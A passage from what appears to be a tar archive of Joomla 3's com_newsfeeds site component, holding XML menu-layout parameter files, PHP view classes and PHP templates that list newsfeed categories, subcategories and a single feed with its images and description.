				name="show_empty_categories" 
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				description="COM_NEWSFEEDS_SHOW_EMPTY_CATEGORIES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_subcat_desc" 
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_cat_items"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_DESC"
				id="show_cat_items"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS">
			<field 
				name="spacer1" 
				type="spacer" 
				label="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
				class="text"
			/>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				description="JGLOBAL_FILTER_FIELD_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="hide">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				description="JGLOBAL_DISPLAY_SELECT_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_headings"
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				description="JGLOBAL_SHOW_HEADINGS_DESC"
				id="show_headings"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_articles"
				type="list"
				label="COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_LABEL"
				description="COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_DESC"
				id="show_articles"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_link"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_LINKS_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_LINKS_DESC"
				id="show_link"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				description="JGLOBAL_PAGINATION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				description="JGLOBAL_PAGINATION_RESULTS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
		<fieldset name="newsfeed" label="COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL">

			<field 
				name="show_feed_image" 
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_feed_description" 
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_item_description" 
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="feed_character_count" 
				type="number"
				label="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL"
				description="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC"
				size="6"
				useglobal="true"
			/>
		</fieldset>

	</fields>
</metadata>
com_newsfeeds/views/categories/view.html.php000060400000001216152453734460015306 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Content categories view.
 *
 * @since  1.5
 */
class NewsfeedsViewCategories extends JViewCategories
{
	/**
	 * Language key for default page heading
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $pageHeading = 'COM_NEWSFEEDS_DEFAULT_PAGE_TITLE';

	/**
	 * @var    string  The name of the extension for the category
	 * @since  3.2
	 */
	protected $extension = 'com_newsfeeds';
}
com_newsfeeds/views/category/tmpl/default_items.php000060400000007413152453734460016667 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$n         = count($this->items);
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

?>
<?php if (empty($this->items)) : ?>
	<p><?php echo JText::_('COM_NEWSFEEDS_NO_ARTICLES'); ?></p>
<?php else : ?>
	<form action="<?php echo htmlspecialchars(JUri::getInstance()->toString(), ENT_COMPAT, 'UTF-8'); ?>" method="post" name="adminForm" id="adminForm">
		<?php if ($this->params->get('filter_field') !== 'hide' || $this->params->get('show_pagination_limit')) : ?>
			<fieldset class="filters btn-toolbar">
				<?php if ($this->params->get('filter_field') !== 'hide' && $this->params->get('filter_field') == '1') : ?>
					<div class="btn-group">
						<label class="filter-search-lbl element-invisible" for="filter-search">
							<span class="label label-warning">
								<?php echo JText::_('JUNPUBLISHED'); ?>
							</span>
							<?php echo JText::_('COM_NEWSFEEDS_FILTER_LABEL') . '&#160;'; ?>
						</label>
						<input type="text" name="filter-search" id="filter-search" value="<?php echo $this->escape($this->state->get('list.filter')); ?>" class="inputbox" onchange="document.adminForm.submit();" title="<?php echo JText::_('COM_NEWSFEEDS_FILTER_SEARCH_DESC'); ?>" placeholder="<?php echo JText::_('COM_NEWSFEEDS_FILTER_SEARCH_DESC'); ?>" />
					</div>
				<?php endif; ?>
				<?php if ($this->params->get('show_pagination_limit')) : ?>
					<div class="btn-group pull-right">
						<label for="limit" class="element-invisible">
							<?php echo JText::_('JGLOBAL_DISPLAY_NUM'); ?>
						</label>
						<?php echo $this->pagination->getLimitBox(); ?>
					</div>
				<?php endif; ?>
			</fieldset>
		<?php endif; ?>
		<ul class="category list-striped list-condensed">
			<?php foreach ($this->items as $i => $item) : ?>
				<?php if ($this->items[$i]->published == 0) : ?>
					<li class="system-unpublished cat-list-row<?php echo $i % 2; ?>">
				<?php else : ?>
					<li class="cat-list-row<?php echo $i % 2; ?>">
				<?php endif; ?>
				<?php if ($this->params->get('show_articles')) : ?>
					<span class="list-hits badge badge-info pull-right">
						<?php echo JText::sprintf('COM_NEWSFEEDS_NUM_ARTICLES_COUNT', $item->numarticles); ?>
					</span>
				<?php endif; ?>
				<span class="list pull-left">
					<div class="list-title">
						<a href="<?php echo JRoute::_(NewsFeedsHelperRoute::getNewsfeedRoute($item->slug, $item->catid)); ?>">
							<?php echo $item->name; ?>
						</a>
					</div>
				</span>
				<?php if ($this->items[$i]->published == 0) : ?>
					<span class="label label-warning">
						<?php echo JText::_('JUNPUBLISHED'); ?>
					</span>
				<?php endif; ?>
				<br />
				<?php if ($this->params->get('show_link')) : ?>
					<?php $link = JStringPunycode::urlToUTF8($item->link); ?>
					<span class="list pull-left">
						<a href="<?php echo $item->link; ?>">
							<?php echo $link; ?>
						</a>
					</span>
					<br />
				<?php endif; ?>
				</li>
			<?php endforeach; ?>
		</ul>
		<?php // Add pagination links ?>
		<?php if (!empty($this->items)) : ?>
			<?php if (($this->params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
				<div class="pagination">
					<?php if ($this->params->def('show_pagination_results', 1)) : ?>
						<p class="counter pull-right">
							<?php echo $this->pagination->getPagesCounter(); ?>
						</p>
					<?php endif; ?>
					<?php echo $this->pagination->getPagesLinks(); ?>
				</div>
			<?php endif; ?>
		<?php endif; ?>
	</form>
<?php endif; ?>
com_newsfeeds/views/category/tmpl/default_children.php000060400000003677152453734460017346 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<?php $class = ' class="first"'; ?>
<?php if ($this->maxLevel != 0 && count($this->children[$this->category->id]) > 0) : ?>
	<ul>
		<?php foreach ($this->children[$this->category->id] as $id => $child) : ?>
			<?php if ($this->params->get('show_empty_categories') || $child->numitems || count($child->getChildren())) : ?>
				<?php if (!isset($this->children[$this->category->id][$id + 1])) : ?>
					<?php $class = ' class="last"'; ?>
				<?php endif; ?>
				<li<?php echo $class; ?>>
					<?php $class = ''; ?>
					<span class="item-title">
						<a href="<?php echo JRoute::_(NewsfeedsHelperRoute::getCategoryRoute($child->id)); ?>">
							<?php echo $this->escape($child->title); ?>
						</a>
					</span>
					<?php if ($this->params->get('show_subcat_desc') == 1) : ?>
						<?php if ($child->description) : ?>
							<div class="category-desc">
								<?php echo JHtml::_('content.prepare', $child->description, '', 'com_newsfeeds.category'); ?>
							</div>
						<?php endif; ?>
					<?php endif; ?>
					<?php if ($this->params->get('show_cat_items') == 1) : ?>
						<dl class="newsfeed-count">
							<dt>
								<?php echo JText::_('COM_NEWSFEEDS_CAT_NUM'); ?>
							</dt>
							<dd>
								<?php echo $child->numitems; ?>
							</dd>
						</dl>
					<?php endif; ?>
					<?php if (count($child->getChildren()) > 0) : ?>
						<?php $this->children[$child->id] = $child->getChildren(); ?>
						<?php $this->category = $child; ?>
						<?php $this->maxLevel--; ?>
						<?php echo $this->loadTemplate('children'); ?>
						<?php $this->category = $child->getParent(); ?>
						<?php $this->maxLevel++; ?>
					<?php endif; ?>
				</li>
			<?php endif; ?>
		<?php endforeach; ?>
	</ul>
<?php endif;
com_newsfeeds/views/category/tmpl/default.php000060400000004027152453734460015464 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');

JHtml::_('behavior.caption');
JHtml::_('formbehavior.chosen', 'select');

$pageClass = $this->params->get('pageclass_sfx', '');

?>
<div class="newsfeed-category<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<h1>
			<?php echo $this->escape($this->params->get('page_heading')); ?>
		</h1>
	<?php endif; ?>
	<?php if ($this->params->get('show_category_title', 1)) : ?>
		<h2>
			<?php echo JHtml::_('content.prepare', $this->category->title, '', 'com_newsfeeds.category.title'); ?>
		</h2>
	<?php endif; ?>
	<?php if ($this->params->get('show_tags', 1) && !empty($this->category->tags->itemTags)) : ?>
		<?php $this->category->tagLayout = new JLayoutFile('joomla.content.tags'); ?>
		<?php echo $this->category->tagLayout->render($this->category->tags->itemTags); ?>
	<?php endif; ?>
	<?php if ($this->params->get('show_description', 1) || $this->params->def('show_description_image', 1)) : ?>
		<div class="category-desc">
			<?php if ($this->params->get('show_description_image') && $this->category->getParams()->get('image')) : ?>
				<img src="<?php echo $this->category->getParams()->get('image'); ?>" />
			<?php endif; ?>
			<?php if ($this->params->get('show_description') && $this->category->description) : ?>
				<?php echo JHtml::_('content.prepare', $this->category->description, '', 'com_newsfeeds.category'); ?>
			<?php endif; ?>
			<div class="clr"></div>
		</div>
	<?php endif; ?>
	<?php echo $this->loadTemplate('items'); ?>
	<?php if ($this->maxLevel != 0 && !empty($this->children[$this->category->id])) : ?>
		<div class="cat-children">
			<h3>
				<?php echo JText::_('JGLOBAL_SUBCATEGORIES'); ?>
			</h3>
			<?php echo $this->loadTemplate('children'); ?>
		</div>
	<?php endif; ?>
</div>
com_newsfeeds/views/category/tmpl/default.xml000060400000016260152453734460015477 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_TITLE" option="COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORY"
		/>
		<message>
			<![CDATA[COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request"
		addfieldpath="/administrator/components/com_categories/models/fields"
	>
		<fieldset name="request"
			addfieldpath="/administrator/components/com_newsfeeds/models/fields"
		 >
			<field
				name="id"
				type="modal_category"
				label="JCATEGORY"
				description="COM_NEWSFEEDS_FIELD_SELECT_CATEGORY_DESC"
				extension="com_newsfeeds"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
<fields name="params">
	<fieldset name="basic" label="JGLOBAL_CATEGORY_OPTIONS">
		<field 
			name="spacer1" 
			type="spacer" 
			label="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
			class="text"
			/>

			<field 
				name="show_category_title" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_TITLE"
				description="JGLOBAL_SHOW_CATEGORY_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_description" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_description_image" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_IMAGE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="maxLevel" 
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				description="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC"
				useglobal="true"
				>
				<option value="-1">JALL</option>
				<option value="0">JNONE</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field 
				name="show_empty_categories" 
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				description="COM_NEWSFEEDS_SHOW_EMPTY_CATEGORIES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_subcat_desc" 
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_cat_items"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_DESC"
				id="show_cat_items"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>
		<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS">
			<field 
				name="spacer2" 
				type="spacer" 
				label="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
				class="text"
			/>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				description="JGLOBAL_FILTER_FIELD_DESC"
				default=""
				useglobal="true"
				class="chzn-color"				
				>
				<option value="hide">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				description="JGLOBAL_DISPLAY_SELECT_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_headings"
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				description="JGLOBAL_SHOW_HEADINGS_DESC"
				id="show_headings"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_articles"
				type="list"
				label="COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_LABEL"
				description="COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_DESC"
				id="show_articles"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_link"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_LINKS_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_LINKS_DESC"
				id="show_link"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				description="JGLOBAL_PAGINATION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				description="JGLOBAL_PAGINATION_RESULTS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="newsfeed" label="COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL">

			<field 
				name="show_feed_image" 
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_feed_description" 
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_item_description" 
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="feed_character_count" 
				type="number"
				description="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC"
				label="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL"
				size="6"
				useglobal="true"
			/>
			
			<field 
				name="feed_display_order" 
				type="list"
				label="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL"
				description="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_DESC"
				useglobal="true"
				>
				<option value="des">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="asc">JGLOBAL_OLDEST_FIRST</option>
			</field>
		</fieldset>
	</fields>
</metadata>
com_newsfeeds/views/category/view.html.php000060400000004745152453734460015010 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * HTML View class for the Newsfeeds component
 *
 * @since  1.0
 */
class NewsfeedsViewCategory extends JViewCategory
{
	/**
	 * @var    string  Default title to use for page title
	 * @since  3.2
	 */
	protected $defaultPageTitle = 'COM_NEWSFEEDS_DEFAULT_PAGE_TITLE';

	/**
	 * @var    string  The name of the extension for the category
	 * @since  3.2
	 */
	protected $extension = 'com_newsfeeds';

	/**
	 * @var    string  The name of the view to link individual items to
	 * @since  3.2
	 */
	protected $viewName = 'newsfeed';

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$this->commonCategoryDisplay();

		// Flag indicates to not add limitstart=0 to URL
		$this->pagination->hideEmptyLimitstart = true;

		// Prepare the data.
		// Compute the newsfeed slug.
		foreach ($this->items as $item)
		{
			$item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;
			$temp       = $item->params;
			$item->params = clone $this->params;
			$item->params->merge($temp);
		}

		return parent::display($tpl);
	}

	/**
	 * Prepares the document
	 *
	 * @return  void
	 */
	protected function prepareDocument()
	{
		parent::prepareDocument();

		$menu = $this->menu;
		$id = (int) @$menu->query['id'];

		if ($menu && (!isset($menu->query['option']) || $menu->query['option'] !== 'com_newsfeeds' || $menu->query['view'] === 'newsfeed'
			|| $id != $this->category->id))
		{
			$path = array(array('title' => $this->category->title, 'link' => ''));
			$category = $this->category->getParent();

			while ((!isset($menu->query['option']) || $menu->query['option'] !== 'com_newsfeeds' || $menu->query['view'] === 'newsfeed'
				|| $id != $category->id) && $category->id > 1)
			{
				$path[] = array('title' => $category->title, 'link' => NewsfeedsHelperRoute::getCategoryRoute($category->id));
				$category = $category->getParent();
			}

			$path = array_reverse($path);

			foreach ($path as $item)
			{
				$this->pathway->addItem($item['title'], $item['link']);
			}
		}
	}
}
com_newsfeeds/views/newsfeed/tmpl/default.xml000060400000005365152453734460015466 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_TITLE" option="COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_NEWSFEED_SINGLE_NEWSFEED"
		/>
		<message>
			<![CDATA[COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldpath="/administrator/components/com_newsfeeds/models/fields"
		 >

			<field 
				name="id" 
				type="modal_newsfeed"
				label="COM_NEWSFEEDS_FIELD_SELECT_FEED_LABEL"
				description="COM_NEWSFEEDS_FIELD_SELECT_FEED_DESC"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="basic" label="COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL">
			<field 
				name="show_feed_image" 
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_feed_description" 
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_item_description" 
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_tags" 
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_TAGS_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_TAGS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="feed_character_count" 
				type="number"
				label="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL"
				description="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC"
				size="6"
				useglobal="true"
			/>

			<field 
				name="feed_display_order" 
				type="list"
				label="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL"
				description="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_DESC"
				useglobal="true"
				>
				<option value="des">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="asc">JGLOBAL_OLDEST_FIRST</option>
			</field>
		
		</fieldset>
	</fields>
</metadata>
com_newsfeeds/views/newsfeed/tmpl/default.php000060400000012304152453734460015444 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<?php if (!empty($this->msg)) : ?>
	<?php echo $this->msg; ?>
<?php else : ?>
	<?php $lang      = JFactory::getLanguage(); ?>
	<?php $myrtl     = $this->newsfeed->rtl; ?>
	<?php $direction = ' '; ?>
	<?php $isRtl     = $lang->isRtl(); ?>
	<?php if ($isRtl && $myrtl == 0) : ?>
		<?php $direction = ' redirect-rtl'; ?>
	<?php elseif ($isRtl && $myrtl == 1) : ?>
		<?php $direction = ' redirect-ltr'; ?>
	<?php elseif ($isRtl && $myrtl == 2) : ?>
		<?php $direction = ' redirect-rtl'; ?>
	<?php elseif ($myrtl == 0) : ?>
		<?php $direction = ' redirect-ltr'; ?>
	<?php elseif ($myrtl == 1) : ?>
		<?php $direction = ' redirect-ltr'; ?>
	<?php elseif ($myrtl == 2) : ?>
		<?php $direction = ' redirect-rtl'; ?>
	<?php endif; ?>
	<?php $images = json_decode($this->item->images); ?>
	<div class="newsfeed<?php echo $this->pageclass_sfx; ?><?php echo $direction; ?>">
		<?php if ($this->params->get('display_num')) : ?>
			<h1 class="<?php echo $direction; ?>">
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		<?php endif; ?>
		<h2 class="<?php echo $direction; ?>">
			<?php if ($this->item->published == 0) : ?>
				<span class="label label-warning"><?php echo JText::_('JUNPUBLISHED'); ?></span>
			<?php endif; ?>
			<a href="<?php echo $this->item->link; ?>" target="_blank">
				<?php echo str_replace('&apos;', "'", $this->item->name); ?>
			</a>
		</h2>
		<?php if ($this->params->get('show_tags', 1)) : ?>
			<?php $this->item->tagLayout = new JLayoutFile('joomla.content.tags'); ?>
			<?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
		<?php endif; ?>
		<!-- Show Images from Component -->
		<?php if (isset($images->image_first) && !empty($images->image_first)) : ?>
			<?php $imgfloat = empty($images->float_first) ? $this->params->get('float_first') : $images->float_first; ?>
			<div class="img-intro-<?php echo htmlspecialchars($imgfloat, ENT_COMPAT, 'UTF-8'); ?>">
				<img
				<?php if ($images->image_first_caption) : ?>
					<?php echo 'class="caption"' . ' title="' . htmlspecialchars($images->image_first_caption, ENT_COMPAT, 'UTF-8') . '"'; ?>
				<?php endif; ?>
				src="<?php echo htmlspecialchars($images->image_first, ENT_COMPAT, 'UTF-8'); ?>" alt="<?php echo htmlspecialchars($images->image_first_alt, ENT_COMPAT, 'UTF-8'); ?>" />
			</div>
		<?php endif; ?>
		<?php if (isset($images->image_second) && !empty($images->image_second)) : ?>
			<?php $imgfloat = empty($images->float_second) ? $this->params->get('float_second') : $images->float_second; ?>
			<div class="pull-<?php echo htmlspecialchars($imgfloat, ENT_COMPAT, 'UTF-8'); ?> item-image">
				<img
				<?php if ($images->image_second_caption) : ?>
					<?php echo 'class="caption"' . ' title="' . htmlspecialchars($images->image_second_caption) . '"'; ?>
				<?php endif; ?>
				src="<?php echo htmlspecialchars($images->image_second, ENT_COMPAT, 'UTF-8'); ?>" alt="<?php echo htmlspecialchars($images->image_second_alt, ENT_COMPAT, 'UTF-8'); ?>" />
			</div>
		<?php endif; ?>
		<!-- Show Description from Component -->
		<?php echo $this->item->description; ?>
		<!-- Show Feed's Description -->
		<?php if ($this->params->get('show_feed_description')) : ?>
			<div class="feed-description">
				<?php echo str_replace('&apos;', "'", $this->rssDoc->description); ?>
			</div>
		<?php endif; ?>
		<!-- Show Image -->
